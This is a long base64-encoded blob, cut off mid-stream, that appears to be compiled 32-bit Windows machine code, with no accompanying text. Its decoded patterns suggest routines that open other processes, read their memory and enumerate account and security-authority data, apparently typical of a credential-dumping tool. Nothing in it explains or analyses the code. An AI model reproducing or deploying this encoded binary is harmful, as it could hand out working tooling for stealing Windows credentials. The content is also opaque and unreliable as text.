tFFIMgAItF6MnCEABVi+yD7BzHReiaAADAi0UYiwCJRezGRfBgxkXxusZF8k/GRfPKxkX03MZF9UbGRfZsxkX3esZF+APGRfk8xkX6F8ZF+4HGRfyUxkX9wMZF/j3GRf/2/3UQagC4SkpKSv/QiUXkg33kAHR9/3UQ/3UM/3XkuExMTEz/0IPEDP91GP91FP91EP915P91CLhERERE/9CJReiDfegAfUGLRRiLTeyJCP91GP91FP91EP915ItFCIPAEFC4RERERP/QiUXog33oAHwWahCNRfBQi0UI/3AguExMTEz/0IPEDP915LhLS0tL/9CLRejJwhQAVYvsuGxla3Ndw1WL7IPk+IHstAAAAFONRCRgiUQkFLi4/wMQiUQkaIlEJHhWVzP2jUQkcIlEJGQzwI18JCyrq7vY7wQQU41EJDBQiXQkMIl0JCiJdCRwiXQkdIl0JCDHRCR8oEMEEMeEJIAAAABKSkpKibQkhAAAAMeEJIwAAAAoHQQQx4QkkAAAAEtLS0uJtCSUAAAAx4QkmAAAANT/AxDHhCScAAAANB0EEMeEJKAAAABMTExMibQkpAAAAIm0JKgAAACJtCSsAAAAx4QksAAAAENDQ0OJtCS0AAAAibQkuAAAAIm0JLwAAADHhCTAAAAARERERIm0JMQAAADHRCRoBQAAAP8VHNQCEI1EJDRQaIQ/BBDoyAf//1lZhcAPhK4CAAD/dCQ0Vmg4BAAA/xXU0gIQiUQkODvGD4R/AgAAUGoBjXwkHOix+P7/WVmFwA+EXQIAAIE9GBgFEIgTAAAPgggBAABorEMEEP90JBiNRCRU6IcL//9ZWYXAD4TDAAAAi0QkTIlEJDyLRCRQiUQkQItEJFSJRCREagGNRCRAUI1EJCBqKFCJXCQo6AP7/v+DxBCFwA+EggAAAGjEQwQQ6EkC//+NRCQwiUQkHItEJExZiUQkMGoBjUQkQFCNRCQgaghQ6Mr6/v+DxBCFwHRG/3QkSGjcQwQQ6BAC//8zwI18JDSrq4tEJFCJRCQYagiNRCQkUI1EJCBQ6Kr4/v+DxBSJRCQoO8Z0M2j4QwQQ6NoB///rIGgoRAQQ6/JomEQEEOvr/xX40gIQUGgIRQQQ6LkB//9ZWTl0JCh1EIE9GBgFEIgTAAAPgzwBAAC+wEUEEFb/dCQYjUQkVOh+Cv//WVmFwA+EDAEAAFb/FaDRAhCL2I1EJCRQahf/FdDTAhCFwA+IAQEAAItEJCSLSCArywNMJEy/+WABEImMJKwAAACLQCgrwwNEJEyNdCRgiYQkvAAAAI1EJBBQuAJjARArx1CLRCQcV+hlHv//g8QMhcAPhJMAAABo3EUEEOgNAf//i0QkFIlEJCSNRCQkiUQkHItEJFBZi0wkJCvDjUQIIIlEJBBqBI1EJBxQjUQkGFDolPf+/4PEDIXAdG3/dCQQaABGBBDoxAD//4tMJCy4FGIBECvHAUQkKItEJFQrw41ECCiJRCQYagSNRCQkUI1EJCBQ6FH3/v+DxBSFwHQq/3QkEGgsRgQQ6xhoYEYEEOh6AP//6xL/FfjSAhBQaAhFBBDoZwD//1lZi3QkFOjc9v7//3QkOP8V3NICEOsT/xX40gIQUGjgRgQQ6D8A//9ZWV9eM8Bbi+Vdw1WL7IPsbFYz9ol19MdFlAEBAADHRZgAAAAFx0WcIAAAADl1CHQHi0UMiwDrBbgE9QIQUI1FoFD/FRzUAhBWajGNRehQjUWgUP8VXNMCEDvGD4wqBAAAjUX0UI1FlFBoAAMAAP916P8VVNMCEDvGfQ1QaHhHBBDouf/+/1lZU4sdWNMCEFeJdbSNRbhQagGNRcRQjUW0UP916P8VUNMCEIlFqDvGfRk9BQEAAHQSUGioSwQQ6Hz//v9ZWemOAwAAiXXIOXW4D4Z5AwAAiXXMi0XEi33MjUQHBFBo6EcEEOhR//7/WVmNRdBQi0XEjUQHBFD/dej/FWjTAhA7xg+MIgMAAGgQSAQQ6Cj//v//ddDoqi///1lZjUX4UP910GgAAwAA/3Xo/xVU0wIQO8YPjNkCAACJdbCNRbxQagGNReRQVo1FsFD/dfj/FXjTAhCJRaw7xn0ZPQUBAAB0ElBocEoEEOjN/v7/WVnphgIAAIl11Dl1vA+GcQIAADP/i0XkjUw4BFH/NDhoMEgEEOij/v7/g8QMjUXYUItF5P80B2gbAwAA/3X4/xV00wIQO8YPjBgCAACNRcBQjUXgUP912P8VYNMCEDvGfHWDfcAAdmKLReD/NPBoSEgEEOhV/v7/WVmNRfBQjUUIUItF4I0E8FBqAf91+P/ThcB4I/91CGhg+QIQ6Cz+/v9ZWf91CP8VfNMCEP918P8VfNMCEOsNUGhgSAQQ6Av+/v9ZWUY7dcBynv914P8VfNMCEDP26w1QaMhIBBDo6/3+/1lZjUXcUItF5P80B/912P8VZNMCEDvGD4xOAQAAjUX8UI1F7FCNRdxQagH/dfj/FWzTAhA7xnx1g33sAHZii0X8/zSwaCxJBBDonf3+/1lZjUXwUI1FCFCLRfyNBLBQagH/dfj/04XAeCP/dQhoYPkCEOh0/f7/WVn/dQj/FXzTAhD/dfD/FXzTAhDrDVBoYEgEEOhT/f7/WVlGO3Xscp7/dfz/FXzTAhAz9usNUGhASQQQ6DP9/v9ZWTl19A+EnQAAAI1F/FCNRexQjUXcUGoB/3X0/xVs0wIQO8Z8dYN97AB2YotF/P80sGioSQQQ6Pf8/v9ZWY1F8FCNRQhQi0X8jQSwUGoB/3X0/9OFwHgj/3UIaGD5AhDozvz+/1lZ/3UI/xV80wIQ/3Xw/xV80wIQ6w1QaGBIBBDorfz+/1lZRjt17HKe/3X8/xV80wIQM/brDVBoQEkEEOiN/P7/WVn/ddz/FXzTAhDrDVBowEkEEOh1/P7/WVn/ddj/FYDTAhDrDVBoGEoEEOhd/P7/WVn/RdSLRdSDxww7RbwPgpH9////deT/FXzTAhCBfawFAQAAD4Q1/f///3X4/xWA0wIQ6w1QaOBKBBDoHfz+/1lZ/3XQ/xV80wIQ6w1QaDhLBBDoBfz+/1lZ/0XIi0XIg0XMDDtFuA+Civz///91xP8VfNMCEGjE9gIQ6N37/v+BfagFAQAAWQ+EI/z//19bOXX0dAn/dfT/FYDTAhD/dej/FYDTAhDrDVBoKEwEEOip+/7/WVkzwF7JwzPAw1FWjUQkBFBqAGoBahT/FQDUAhCL8IX2eBBqFGjoTAQQ6Hr7/v9ZWesQVmoUaBBNBBDoafv+/4PEDIvGXlnDagBoYW0BEOir//7/WVnDVYvsi0UIg+wQVzP/O8d0S4tNDFaLdIH8VmjMTgQQ6C/7/v9qAY1F8FBXV1dXVlczwOjkBv//g8QoXoXAdAr/dfho/E4EEOsM/xX40gIQUGggTwQQ6Pn6/v9ZWTPAX8nDagD/dCQM/3QkDOgqAAAAg8QMw2oB/3QkDP90JAzoFwAAAIPEDMNqAv90JAz/dCQM6AQAAACDxAzDVYvsg+wMi00QVjP2K864JQIAwFeJRfx0Jkl0FUkPheEAAAC/AAgAAMdF+OhPBBDrGL8ACAAAx0X4xE8EEOsKM/9Hx0X4nE8EEFNWjUX0UGi09gMQ/3UM/3UI6N0r//+DxBSFwA+EiwAAAFZW/3X06Cp3AACL2IPEDDvedHhTVlf/FdTSAhCL+Dv+dFWLRRArxnQYSHQMSHUsV/8V6NMCEOsRV/8VLNQCEOsIVlf/FTDUAhCJRfw7xnwLU/91+GgIUAQQ6wv/dfz/dfhoOFAEEOjk+f7/g8QMV/8V3NICEOsf/xX40gIQUGigUAQQ6Mf5/v9Z6wpoIFEEEOi6+f7/WYtF/FtfXsnDi0QkBI1IOFH/cERopFEEEOic+f7/M8CDxAxAwggAaFJuARD/dCQM/3QkDOgaAAAAg8QMw2gMbwEQ/3QkDP90JAzoBAAAAIPEDMNVi+xRU1ZXM/ZWjUX8UGi09gMQ/3UMM9v/dQgz/+jIKv//g8QUhcB0NlZW/3X8R+gYdgAAg8QMUFZoAAAAgP8V1NICEIvYO951Ff8V+NICEFBouFEEEOgM+f7/WVnrQVNXjX386Ozu/v9ZWYXAdBdWi3X8/3UQi8bo/v3+/1lZ6GPv/v/rE/8V+NICEFBoOFIEEOjQ+P7/WVlT/xXc0gIQX14zwFvJw1aLdCQI/3YQaMBSBBDorvj+//90JBRofW4BEFboRAX//4PEFDPAQF7CCABWi3QkCFf/dgT/dhRozFIEEOh/+P7/g8QMg34MAL/sUgQQdBD/dgho5FIEEOhk+P7/WesGV+hb+P7/i0YcWYXAdA5QaPRSBBDoSPj+/1nrBlfoP/j+/4tGDFmFwHQOUGj8UgQQ6Cz4/v9Z6wZX6CP4/v+LdhBZhfZ0DVZoBFMEEOgQ+P7/WVkzwF9AXsIIAFaLdCQI/3YQaMBSBBDo9Pf+//90JBRW6DEG//+DxBAzwEBewggAVot0JAj/dgT/dhj/dhBoFFMEEOjI9/7/i0YMg8QQhcB0CFBoOFMEEOsI/3YIaEBTBBDoqff+/1lZM8BAXsIIAFWL7IN9EAB0Yv82/3UMaJRUBBDoiPf+/4PEDIN9EAF1Jf82/1UIWYXAdAdooKoDEOs+/xX40gIQUGjAVAQQ6F33/v9Z6y+DfRQAdBiBPRgYBRCwHQAAcgz/dRT/Nuh7AQAA699oKFUEEOsFaIhVBBDoK/f+/1kzwF3DzMzMVot0JAxqAP90JAxo+FUEEGjbkgAQ6Gn///+DxBBew1aLdCQMagD/dCQMaAxWBBBoJpMAEOhK////g8QQXsNWi3QkDGoB/3QkDGggVgQQaMyTABDoK////4PEEF7DVot0JAxqAv90JAxoNFYEEGjdkwAQ6Az///+DxBBew1aLdCQMagP/dCQMaExWBBBo7pMAEOjt/v//g8QQXsNWi3QkDGoP/3QkDGhgVgQQaP+TABDozv7//4PEEF7DVot0JAxqBf90JAxoeFYEEGgTlAAQ6K/+//+DxBBew1WL7GoAagBqAGoAagBqAGoAagBqAItFCP9wGGoAagBqAItFCIPAIFCLRQj/UBSLTQiJQQgzwF3CBABVi+y4c2N2c13DVYvsagBqAGoAagBqAGoAagBqAGoAi0UI/3AYagBqAItNCIPBIItFCDPS/1AUi00IiUEIM8BdwgQAVYvsuGZjdnNdw1WL7IPk+IPsXFNWjUQkIIlEJBxXjUQkEDPbUGiMVgQQiVwkLIlcJDCJXCQk6GX6/v9ZWYXAD4T0AQAA/3QkEFNoOgQAAP8V1NICEIlEJBg7ww+ExQEAAFBqAY18JEDoTuv+/1lZhcAPhKMBAAA5HTwFBRAPhbEAAACLTCQ4jUQkROiN/v7/hcAPhJAAAACLRCRMiUQkNI1EJBRQjUQkOOgJ//7/WYXAdHWLfCQUi0c0/zUYGAUQiUQkOItHUGoDuZDtBBCJRCRE6Fn3/v+L8FlZO/N0QotGCIlEJBxTjUQkOFD/dgSNRCQoUOh57f7/g8QQhcB0DotGFANEJECjPAUFEOsT/xX40gIQUGioVgQQ6K70/v9ZWVf/FfzSAhA5HTwFBRAPhNIAAACBPRgYBRDwIwAAcwy4AnEBELnIcAEQ6wq4RXEBELkMcQEQjVQkLCvBUlCLRCRAUTP26KYR//+DxAyFwA+EigAAAItFCI1IAmaLEIPAAmY703X1/3UIK8H/dQzR+P81PAUFEI18AALoUw7//4vwg8QMO/N0TI1EJFRQVo1EJDTofg7//1lZhcB0HTlcJFx0C/90JFxoPFcEEOsYaFBXBBDo9fP+/+sS/xX40gIQUGhgVwQQ6OLz/v9ZWVb/FfzSAhCNTCQs6B3u/v/rEmgAWAQQ6wVoyFgEEOi98/7/WYt0JDjoM+r+//90JBj/FdzSAhDrE/8V+NICEFBoaFkEEOiW8/7/WVlfXjPAW4vlXcNo0F0EEOiB8/7/WbgVAABAw1WL7IPsIFZq9f8VlNECEIvwM8BmiUX8ZolF/o1F4FBW/xWM0QIQD79N4I1F+FAPv0Xi/3X8D6/BUGogVv8VkNECEP91/Fb/FZjRAhAzwF7Jw2jcXQQQ6B/z/v9ZM8DDaOhdBBDoEfP+/1kzwMMzwFY5RCQIdBRQUItEJBT/MOjcbwAAg8QMi/DrBb7oAwAAVmhoXgQQ6ODy/v9ZWVb/FZzRAhBojF4EEOjN8v7/WTPAXsNWi3QkDFcz/1dXaBxOBBBW/3QkHOgyJP//g8QUhcB1Dzl8JAx0BIs+6wW/nF4EEOhn8/7/hcC4BN4DEHUFuAzeAxBQV2i4XgQQ6Hry/v+DxAxfM8Bew4M9tAQFEABWV7/0XgQQvgBfBBCLx3UCi8ZQaAxfBBDoTvL+/zPAOQW0BAUQWQ+UwFmjtAQFEIXAdAKL91ZoTF8EEOgr8v7/WVlfM8Bew1WL7FGNRfxQ/xXY0gIQUP8ViNECEIXAdDeDffwAuIxfBBB1BbiUXwQQagFoGwWKCVD/NRgYBRD/NRAYBRD/NRQYBRBooF8EEOjX8f7/g8QcM8DJw1WL7FFTVleNXfzom9n+/4s1+NICEIs9/NICEIXAdCeDfQgAdAtoQGAEEOih8f7/Wf91/GjwCAQQ6JPx/v9ZWf91/P/X6w//1lBoUGAEEOh98f7/WVmDfQgAdEqLRQz/MP8VhNECEIXAdCyNXfzoONn+/4XAdBb/dfxo3GAEEOhN8f7/WVn/dfz/1+sZ/9ZQaFBgBBDrCP/WUGjwYAQQ6C3x/v9ZWV9eM8BbycNoZGEEEOga8f7/WTPAw1WL7FFRVldoUGMEEOgF8f7/WY1F/FBqCP8V2NICEFD/FbTQAhCLNfjSAhCLPdzSAhCFwHQQ/3X86MoCAABZ/3X8/9frD//WUGh4YwQQ6MTw/v9ZWWjoYwQQ6Ljw/v9ZjUX8UGoBagj/FYDRAhBQ/xVU0AIQhcB0EP91/OiHAgAAWf91/P/X6yT/1j3wAwAAdQxoEGQEEOh78P7/6w7/1lBoKGQEEOhs8P7/WVlfM8BeycOLRCQIi0wkBGoA6BcAAABZM8DDi0QkCItMJARqAegEAAAAWTPAw1WL7IPsHFNWV4v4i0UIM/ZWiUXwjUXoUGjcpwMQi9lXU4l15Il16Il17Il1/Il1+OiMIf//Vo1F9FBoILcDEFdT6Hsh//+DxChWVoXAdBP/dfTozGwAAIPEDIlF7OmTAAAAaJRkBBBXU+hTIf//g8QUhcB0KY1F+FDHRfwpAAAA6Gvk/v9ZhcB1a/8V+NICEFBosGQEEOij7/7/WetWVlZoxLYDEFdT6BUh//+DxBSFwHQJx0X8GgAAAOs5OXUIdAU5deh0FVZWaPCTAxBXU+jtIP//g8QUhcB0GsdF/BYAAAA5deh0DmhoZQQQ6E3v/v+JdehZOXUIdBM5dex1Djl1/HUJOXXoD4TsAAAAi0XoO8Z1BbgE9QIQUP917Gj4ZQQQ6Bfv/v+DxAw5dfx0fItF+DvGdAWLQCjrAjPAUP91/I1d5Oj54/7/WVmFwHROjUX0UP915I19/OhHIv//WVmFwHQl/3X8/3X0aFBmBBDoyu7+/4s9/NICEIPEDP91/P/X/3X0/9frLf8V+NICEFBoYGYEEOik7v7/WesY/xX40gIQUGgIZwQQ6+poxPYCEOiJ7v7/WWjE9gIQ6H7u/v9ZOXUIdA85dex1Cjl15HUFOXXodBaNReToZiL//zl15HQJ/3Xk/xX80gIQOXX4dAn/dfj/FVjQAhBfXjPAW8nDagBqAP8VUNACEIXAdAtqAGoA6BH9///rEf8V+NICEFBowGcEEOgU7v7/WVkzwMNVi+yD7FBWjUXsUGo4jUW0UGoK/3UI/xWw0AIQhcAPhJcAAAD/dbRoLGgEEOje7f7/jUXwUI1F9FCNRfhQ/3UI6Kwg//+DxBiFwHQr/3Xw/3X4/3X0aDxoBBDosO3+/4s1/NICEIPEEP91+P/W/3X0/9b/dfD/1otFzP80hWzsBBD/deD/ddxoUGgEEOh+7f7/g8QQg33MAnUWi0XQ/zSFXOwEEGh0aAQQ6GHt/v9ZWWjE9gIQ6FXt/v9ZXsnDVYvsg+T4g+xMU1ZXM/9HiXwkDP8VfNECEDlFDA+EYgEAAI1EJBxQajiNRCQoUGoK/3UI/xWw0AIQhcAPhEMBAACLdRAz2zleBHRIU41EJBxQjUQkHFD/dQjo1R///4PEEIXAdEL/dgT/dCQY6D1ZAACLPfzSAhBZ99hZ/3QkFBvAQIlEJBD/1/90JBj/1zP/R+sUi0YIO8N0DTPJO0QkIA+UwYlMJAw5XCQMD4TPAAAAOXwkOHUFagNY6wSLRCQ8jUwkEFFqAlBTagz/dQj/FUzQAhCFwA+EpAAAAIsGiz340gIQO8N0J41MJAxRUP90JBiJXCQY/xVI0AIQhcB1D//XUGiAaAQQ6ETs/v9ZWTlcJAx0V/91DGgcaQQQ6C/s/v//dQjoGP7//4PEDDleDHRC/3QkEFP/FVDQAhCFwHQaaCRpBBDoBuz+/1lTU+jo+v//WVmJXCQM6xn/11BoUGkEEOjp6/7/WVnrCMdEJAwBAAAA/3QkEP8V3NICEOsEiXwkDItEJAxfXluL5V3CDABouGoEEGjQagQQagS5eOwEEOgu7v7/g8QMM8DDV2gYbQQQ/xWo0QIQM/+jQAUFEDvHD4TkAAAAVos1pNECEGgsbQQQUP/WaERtBBD/NUAFBRCjRAUFEP/WaFxtBBD/NUAFBRCjSAUFEP/WaGxtBBD/NUAFBRCjTAUFEP/WaIBtBBD/NUAFBRCjUAUFEP/WaJRtBBD/NUAFBRCjVAUFEP/WaKRtBBD/NUAFBRCjWAUFEP/WaLBtBBD/NUAFBRCjXAUFEP/Wo2AFBRCjZAUFEF45PUQFBRB0Pjk9SAUFEHQ2OT1MBQUQdC45PVAFBRB0Jjk9VAUFEHQeOT1YBQUQdBY5PVwFBRB0DscFaAUFEAEAAAA7x3UGiT1oBQUQM8Bfw6FABQUQhcB0B1D/FazRAhAzwMNVi+yD5PiD7ERTVlcz/zk9aAUFEA+EXQQAAI1EJEBQjUQkUFBX/xVIBQUQO8cPhTcEAACJfCQ8OXwkTA+GHQQAAIl8JDi7xPYCEGjAbQQQ6Drq/v+LRCREi3QkPFkDxlDogBr//1lT6CLq/v8DdCREWY1EJBhQV1b/FUwFBRCFwA+IwQMAAP90JBjofAcAAFmNRCQ0UI1EJDRQV/90JCT/FVQFBRCFwA+IjwMAAP90JDBo1G0EEOjT6f7/WVmJfCQUOXwkMA+GZwMAAIl8JCyJfCQogT0YGAUQQB8AAA+DPQEAAIt0JCgDdCQ0/3YQ/3QkGGjwbQQQ6JLp/v+DxAxoCG4EEOiF6f7/WVbo1Rn//1lT6Hfp/v/HBCQ0bgQQ6Gvp/v9ZjUYgUOiPGf//WVPoWun+/1n/dihoYG4EEOhM6f7/aJRuBBDoQun+/4tGFIPEDOhOBwAAU+gx6f7/xwQkwG4EEOgl6f7/i0YYWegzBwAAU+gW6f7/xwQk7G4EEOgK6f7/i0YcWegYBwAAU+j76P7/M8BZOUYsdjGJRCQcV2gYbwQQ6OTo/v+LRjADRCQk6O8GAABT6NLo/v+DRCQoIIPEDEc7fixy1TPAjUwkRFFQUIlEJFD/dhj/dhRW/3QkMP8VYAUFEGhEbwQQi/Domuj+/1mF9nUOi0QkRItAHOigBgAA6w1WaHBvBBDofOj+/1lZU+h06P7/Wen0AQAAi3QkLAN0JDT/dhCJdCRM/3QkGGjwbQQQ6FHo/v+DxAxoCG4EEOhE6P7/WVbolBj//1lT6Dbo/v/HBCQ0bgQQ6Cro/v9ZjUYkUOhOGP//WVPoGej+/1n/dixoYG4EEOgL6P7/aJRuBBDoAej+/4tGFIPEDOgNBgAAU+jw5/7/xwQkwG4EEOjk5/7/i0YYWejyBQAAU+jV5/7/xwQk7G4EEOjJ5/7/i0YcWejXBQAAU+i65/7/xwQk0G8EEOiu5/7/i0YgWei8BQAAU+if5/7/M8BZOUYwdjGJRCQcV2gYbwQQ6Ijn/v+LRjQDRCQk6JMFAABT6Hbn/v+DRCQoIIPEDEc7fjBy1TPAjUwkEFFQUIlEJBz/diD/dhj/dhRW/3QkNP8VZAUFEGhEbwQQiUQkKOg55/7/g3wkKABZdQ6LRCQQi0Ac6DwFAADrEP90JCRoAHAEEOgV5/7/WVlT6A3n/v8zwCFEJCRZx0QkHPAWAxDrBIt0JEiLfCQcagRZM9Lzp3QXg0QkIBiDRCQcGECBfCQgqAAAAHLa60mL8Gv2GP+2ABcDEGhgcAQQ6L/m/v+LhgQXAxBZWYXAdCGDfCQkAHUIi0wkEIXJdQIzyWoBUf90JFCNjvAWAxBR/9BT6Izm/v9Zg3wkEAB0Cv90JBD/FVwFBRD/RCQUi0QkFINEJCg0g0QkLDgz/ztEJDAPgqH8////dCQ0/xVcBQUQjUQkGFD/FVgFBRD/RCQ8i0QkPINEJDgQO0QkTA+C7Pv///90JED/FVwFBRDrDVBogHAEEOgZ5v7/WVlfXjPAW4vlXcNVi+yD7CCDZfwAU4tdDItDGFZXhcAPhH4BAACDeAgID4V0AQAAaPRwBBDo3+X+/41F9FCLQxj/cBSNffjoNBn//4PEDIXAdCX/dfj/dfRoIHEEEOi25f7/izX80gIQg8QM/3X4/9b/dfT/1usMi0MY/3AU6CAW//9ZaMT2AhDoi+X+/4tFCIE4K6G4tFkPhQYBAACLNfDQAhCNRehQaghqAGgwcQQQaAIAAID/1jP/O8cPhdUAAACNRexQi0MY/3AU/xW40AIQhcAPhJ8AAACNRQxQagFX/3Xs/3Xo/9Y7x3V0izUo0QIQjUXwUFdXV7/UcQQQV/91DP/WhcB1QP918GpA/xUA0wIQiUX8hcB0O41N8FFQagBqAFf/dQz/1oXAdChQaOhxBBDo4OT+/1lZ/3X8/xX80gIQiUX86w1QaLByBBDoxeT+/1lZ/3UM/xXo0AIQ6w1QaHhzBBDoreT+/1lZ/3Xs/xX80gIQ6xP/FfjSAhBQaEB0BBDoj+T+/1lZ/3Xo/xXo0AIQ6w1QaBB1BBDod+T+/1lZi00Qhcl0YotBHIXAdFuDeAgIdVVmi0gQZolN4maJTeCLQBRo7HUEEIlF5OhF5P7/WY114OhREf//hcB0D4vGUGhg+QIQ6Cvk/v/rEA+3ReBQ/3XkM8BA6C0T//9ZWWjE9gIQ6A3k/v9Zi0M0hcAPhHcBAACDezAAD4ZtAQAAi00IiwmB+fUz4LIPhEUBAACB+SuhuLR0cIH5kXLI/nQPaFB4BBDozOP+/+k8AQAAg3gICA+FMwEAAItwFIs+aAx4BBAD/uis4/7/i0YIWYP4AXYWi04EjQxPUUhQaDh4BBDokOP+/4PEDIt2BIP+AXYQV05WaER4BBDoeOP+/4PEDGjE9gIQ652DeAgID4XaAAAAi3AUM9s5Xfx0GP91/GhQdgQQ6E3j/v9ZWf91/P8V/NICEGiAdgQQ6Djj/v8z/1mDxgxXaMx2BBDoJ+P+/4tG9FlZi8gry3ROSXQ5SXQPUGgEeAQQ6Avj/v9ZWetMuBh3BBA5XgR1BbgsdwQQUP82/3b8/3b4aEh3BBDo5eL+/4PEFOsl/3YE/zb/dvz/dvhooHcEEOvk/3b8/3b4aOB2BBDovuL+/4PEDGjE9gIQ6LHi/v9Hg8YUWYP/Aw+Ccf///+sXg3gIAnURD7dAEFBoGHYEEOiM4v7/WVlfXlvJwhAAVYvsg+wUVzPAjX3sq6urq6uNRexQagD/dQjHRewBAAAA/xVQBQUQhcB4GP918GhgeAQQ6Evi/v9ZWf918P8VXAUFEDPAgT0YGAUQQB8AAI197Kurq6urG8CD4ASDwASJReyNRexQagD/dQj/FVAFBRBfhcB4IotF8IXAdQW4hHgEEFBonHgEEOj24f7/WVn/dfD/FVwFBRDJw1aL8IX2dGiLTgiNQf9IdE5ISHRAg+gDdDFIdB5RaNB4BBDowuH+/zPAagSDxhBWQOjIEP//g8QQXsP/dhAzwP92FEDotRD//+sj/3YQaJgAAxDrFP92EGjIeAQQ6woPt0YQUGjAeAQQ6Hzh/v9ZWV7DVYvsgeyEAAAAUzPbjUXEVleJXfiJXfyJXcSJXciJXcyJRdCJXdyJReA5HWwFBRAPhUkBAABTU2g8HQQQ/3UM/3UI6LQS//+DxBSFwA+ELAEAAP81GBgFELkg6wQQagTod+P+/4vwWVk78w+EXQIAAItGCIlFzItGEIlF3I2FfP///1BoyCEEEOhYDP//WVmFwA+EzwAAAP91mFNoOAQAAP8V1NICEDvDD4SqAAAAUENTjX386K3W/v9ZWYXAD4QKAgAAaOj/AxD/dfyNRaDolen+/1lZhcB0X/91DItFoP91CIlFtItFpIlFuItFqIlFvGiahQEQ/3YUjUXc/3YMiR1sBQUQUP92BI1FzFCNRbTofOH+/4PEIIXAdRP/FfjSAhBQaOh4BBDoS+D+/1lZgyVsBQUQAOsT/xX40gIQUGhQeQQQ6C/g/v9ZWYt1/Oil1v7/6XUBAAD/FfjSAhBQaAh6BBDrDP8V+NICEFBoaHoEEOgB4P7/WVnpTwEAAI1F+FCNRfBQ/3X8U/8VQNACEIXAD4QfAQAAiV30OV3wD4YKAQAAi0X4i330jQy4iwGLUCCD+gRzDIsUlZgXAxCJVeTrB8dF5PB6BBCLcASD/gdzDIsUtdQWAxCJVejrB8dF6Bx7BBCLcAy6WHsEEIl17DvzdQOJVeyLcDA784vedQKL2otwLIX2dAKL1otACIvwhcB1Bb5YewQQiwH/MP915P9wIP916P9wBP917FNSVmhoewQQ6D/f/v+LRfiLBLiLSBxmi0AYaGh8BBCJTdhmiUXWZolF1Ogd3/7/g8QsjXXU6CcM//+FwItF+HQSiwS4/3AcaJgAAxDo+97+/+sRizy4/3cYM8D/dxxA6PwN//9ZWWh8UwMQ6Nze/v//RfSLRfQz21k7RfAPgvb+////dfj/FUTQAhD/RfyDffwBdw2DPRQYBRAFD4ex/v//X14zwFvJw1WL7IPk+IHstAAAAFMz21aNRCRAiUQkHFeNRCRAUGjQfAQQiVwkLIlcJDSJXCQ4iVwkPIlcJECJXCRMiVwkUIlcJByJXCQgx0QkJPTqBBCJXCQY6B/j/v9ZWYXAD4QKAwAA/3QkQFNoGAQAAP8V1NICEIlEJDw7ww+E2gIAAFBqAY18JCDoCNT+/1lZhcAPhLgCAACLTCQYjYQksAAAAOhQ5/7/hcAPhIwCAACLhCS4AAAAiUQkFI1EJChQjUQkGOjJ5/7/WYXAD4RjAgAAi0QkGIlEJDCLRCQoi0g0iUwkLItAUIlEJDRqAY1EJDBQjUQkJGoHUOhO1v7/g8QQhcAPhBQCAACLRCQ4g8AMiUQkFI1EJBRqBFCJRCQkjUQkJFDoOdT+/4PEDIXAD4TiAQAAjUQkJIlEJBxqBI1EJBhQjUQkJFDoFdT+/4PEDIXAD4S3AQAAi0QkJIlEJBSNRCRMiUQkHGoUjUQkGFCNRCQkUOjp0/7/g8QMhcAPhIQBAACBPRgYBRBYGwAAcgiLRCRciUQkWItEJFiJRCQUjUQkYIlEJBxqUI1EJBhQjUQkJFDoqdP+/4PEDIXAD4Q9AQAA/3QkZP90JHD/dCRwaPB8BBDozdz+/4tEJHiLNQDTAhCDxBDB4AJQakD/1ov4O/t0R8dEJBABAAAAOVwkaHZQg3wkEAAPhMcAAAD/dCRsakD/1okEn4XAdAeDZCQQAesNU2g4fQQQ6Hjc/v9ZWUM7XCRocssz2+sLaKB9BBDoYdz+/1k5XCQQD4SGAAAA6wIz24uEJKAAAABqAVf/dCQg6BsBAACLhCSwAAAAg8QMU1f/dCQg6AYBAACDxAyJXCQQOVwkaHZNi99o/IoDEOgR3P7/M/ZZOXQkbHYaiwMPvgQwUGj4fQQQ6Pfb/v9GWVk7dCRscuZoxPYCEOjk2/7//0QkFItEJBSDwwRZO0QkaHK3M9s7+3RNM/Y5XCRodhWLBLc7w3QHUP8V/NICEEY7dCRocutX/xX80gIQ6ydoAH4EEOsaaGB+BBDrE2i4fgQQ6wxoEH8EEOsFaHB/BBDogNv+/1n/dCQo/xX80gIQ6xJo0H8EEOsFaEiABBDoYtv+/1mLdCQY6NjR/v//dCQ8/xXc0gIQ6x//FfjSAhBQaLCABBDoO9v+/1nrCmgggQQQ6C7b/v9ZX14zwFuL5V3DVYvsg+xQiUXsi0UIiUXwU1aLdRCNRbSJRfRXjUXkiUX4994b9moYjUXsUI1F9DP/g+YDUEaJfeSJfejon9H+/4PEDIXAD4QwAQAAi0W0ix0A0wIQweACUGpA/9OJRQg7xw+EHwEAAIlF9ItFwIlF7ItFtMHgAlCNRexQjUX0UOhb0f7/g8QMhcAPhNYAAAA5fbQPhtgAAACNRcyJRfSLRQiLBLiJRexqGI1F7FCNRfRQ6CnR/v+DxAyFwA+EiwAAAItFzA+vxlBqQP/TiUX0hcAPhIIAAACLRdiJReyLRcwPr8ZQjUXsUI1F9FDo7tD+/4PEDIXAdDwzwDlFzHZCg30QAItN9HQUiwyBi1UMixSCiomQFgMQiAwX6xCAPAgAdAqLTQyLDIHGBA8qQDtFzHLN6w1XaJiBBBDo5dn+/1lZ/3X0/xX80gIQ6w1XaEiCBBDozdn+/1lZRzt9tA+CNf///+sLaPiCBBDotdn+/1n/dQj/FfzSAhDrC2iIgwQQ6J/Z/v9ZX15bycNVi+yD5PiD7EBWjUQkGFcz/4lEJAyNRCQUiXwkFIl8JBiJRCQQOT3w6gQQD41eAQAAOT1wBQUQdRhoHIQEEP8VqNECEKNwBQUQO8cPhD4BAACNRCQUaOj/AxBQjUQkPOgl4v7/WVmFwA+EIQEAAItEJDSJRCQki0QkOIlEJCiLRCQ8iUQkLDk9eAUFEHVqizWk0QIQaCyEBBD/NXAFBRD/1olEJCA7x3RDaESEBBD/NXAFBRD/1olEJBw7x3QuV41EJChQjUQkFGoIUOhu0f7/g8QQhcB0FYtEJDCLSGyJDXQFBRCLQHCjeAUFEDk9eAUFEA+ElwAAAFeNRCQoUI1EJBRqB1DHRCQc2OoEEOgs0f7/g8QQhcB0dotEJDCLSAeLUBaLcByLQCeJDQgYBRCJFQwYBRCJNQQYBRCjABgFEDvPdEs713RHO/d0QzvHdD+LNQDTAhC5AAEAAFFqQIkI/9aLDQwYBRBokAAAAGpAiQH/1osNBBgFEIkBiw0MGAUQOTl0CjvHdAaJPfDqBBCh8OoEEF9ei+Vdw6EMGAUQVos1/NICEIXAdAT/MP/WoQQYBRCFwHQE/zD/1qFwBQUQXoXAdAdQ/xWs0QIQM8DDVYvsg+T4g+wsi0UIiwBTVo1MJBxXiUQkFIlMJByLTQyLEYlEJCyLQQgz/4lEJDBXj